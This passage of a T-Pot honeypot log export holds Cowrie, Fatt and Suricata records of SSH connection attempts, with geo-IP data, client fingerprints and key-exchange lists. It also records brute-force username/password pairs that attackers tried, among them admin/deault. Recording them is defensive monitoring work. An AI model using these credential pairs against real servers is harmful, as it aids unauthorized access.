"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52304, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.668526", "@timestamp": "2021-09-20T11:06:12.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20833	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:12.159104+03	2021-09-20 14:15:02.882613+03	{"_id": "2QXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "96a155175b8d", "@version": "1", "duration": 2.7797818183898926, "timestamp": "2021-09-20T11:06:12.159104Z", "@timestamp": "2021-09-20T11:06:12.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20834	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:12.214064+03	2021-09-20 14:15:02.883613+03	{"_id": "2gXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3b9ff9bcf3d0", "@version": "1", "timestamp": "2021-09-20T11:06:12.214064Z", "@timestamp": "2021-09-20T11:06:12.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20835	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:12.921595+03	2021-09-20 14:15:02.884614+03	{"_id": "2wXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [geral/geral] failed", "session": "b4fc044894dd", "@version": "1", "password": "geral", "username": "geral", "timestamp": "2021-09-20T11:06:12.921595Z", "@timestamp": "2021-09-20T11:06:12.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20837	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:13.872467+03	2021-09-20 14:15:02.887614+03	{"_id": "3gXiAnwBvYTbRNuEjfsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34194, "timestamp": "2021-09-20T11:06:13.872467", "@timestamp": "2021-09-20T11:06:13.872Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20838	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:13.132255+03	2021-09-20 14:15:02.888613+03	{"_id": "4gXiAnwBvYTbRNuEjfsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.success", "message": "login attempt [student4/student4] succeeded", "session": "c319d72d9024", "@version": "1", "password": "student4", "username": "student4", "timestamp": "2021-09-20T11:06:13.132255Z", "@timestamp": "2021-09-20T11:06:13.132Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
20839	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:13.649381+03	2021-09-20 14:15:02.890613+03	{"_id": "5QXiAnwBvYTbRNuEjfsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.success", "message": "login attempt [admin/deault] succeeded", "session": "8a9a673fb643", "@version": "1", "password": "deault", "username": "admin", "timestamp": "2021-09-20T11:06:13.649381Z", "@timestamp": "2021-09-20T11:06:13.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
20840	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:13.432835+03	2021-09-20 14:15:02.891613+03	{"_id": "5AXiAnwBvYTbRNuEjfsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "3b9ff9bcf3d0", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:06:13.432835Z", "@timestamp": "2021-09-20T11:06:13.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20841	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:14.441896+03	2021-09-20 14:15:02.892613+03	{"_id": "CQXiAnwBvYTbRNuEkPxF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:06:13.885436+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1790}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1559480800477884, "payload": "AAAI7AYUPujkJzKqTNvJPzxnerSU8gAAAcpjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGN1cnZlNDQ4LXNoYTUxMixlY2RoLXNoYTItbmlzdHA1MjEsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItMS4zLjEzMi4wLjEwLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGExLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMjU2LGRpZmZpZS1oZWxsbWFuLWdyb3VwMTUtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTctc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMSxyc2EyMDQ4LXNoYTI1Nixyc2ExMDI0LXNoYTEsZXh0LWluZm8tYwAAAbVzc2gtZWQyNTUxOS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZWQ0NDgtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDUyMS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHAyNTYtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi0xLjMuMTMyLjAuMTAtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLXJzYS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZHNzLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1lZDI1NTE5LHNzaC1lZDQ0OCxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLTEuMy4xMzIuMC4xMCxyc2Etc2hhMi0yNTYscnNhLXNoYTItNTEyLHNzaC1yc2Esc3NoLWRzcwAAAM1jaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMsYmxvd2Zpc2gtY2JjLGNhc3QxMjgtY2JjLGFyY2ZvdXIyNTYsYXJjZm91cjEyOCxhcmNmb3VyAAAAzWNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczI1Ni1nY21Ab3BlbnNzaC5jb20sYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxhZXMyNTYtY3RyLGFlczE5Mi1jdHIsYWVzMTI4LWN0cixhZXMyNTYtY2JjLGFlczE5Mi1jYmMsYWVzMTI4LWNiYywzZGVzLWNiYyxibG93ZmlzaC1jYmMsY2FzdDEyOC1jYmMsYXJjZm91cjI1NixhcmNmb3VyMTI4LGFyY2ZvdXIAAAGtdW1hYy02NC1ldG1Ab3BlbnNzaC5jb20sdW1hYy0xMjgtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGht", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46212, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:06:14.441896Z", "@timestamp": "2021-09-20T11:06:14.441Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......>..'2.L..?<gz.......curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c....ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hm"}}	1	\N	\N	alert	\N	\N
20842	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:14.737121+03	2021-09-20 14:15:02.894612+03	{"_id": "DgXiAnwBvYTbRNuEkPxF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 433954555872429, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48798, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.737121Z", "@timestamp": "2021-09-20T11:06:14.737Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20858	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:14.237839+03	2021-09-20 14:15:02.914612+03	{"_id": "RQXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b4fc044894dd", "@version": "1", "duration": 2.5311853885650635, "timestamp": "2021-09-20T11:06:14.237839Z", "@timestamp": "2021-09-20T11:06:14.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20843	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:14.417463+03	2021-09-20 14:15:02.895613+03	{"_id": "NQXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:47140 (192.168.176.2:22) [session: 3181bb249e72]", "session": "3181bb249e72", "@version": "1", "protocol": "ssh", "src_port": 47140, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.417463Z", "@timestamp": "2021-09-20T11:06:14.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20844	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:14.368359+03	2021-09-20 14:15:02.896623+03	{"_id": "HgXiAnwBvYTbRNuEkfxl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "00c51bf68789", "@version": "1", "timestamp": "2021-09-20T11:06:14.368359Z", "@timestamp": "2021-09-20T11:06:14.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,no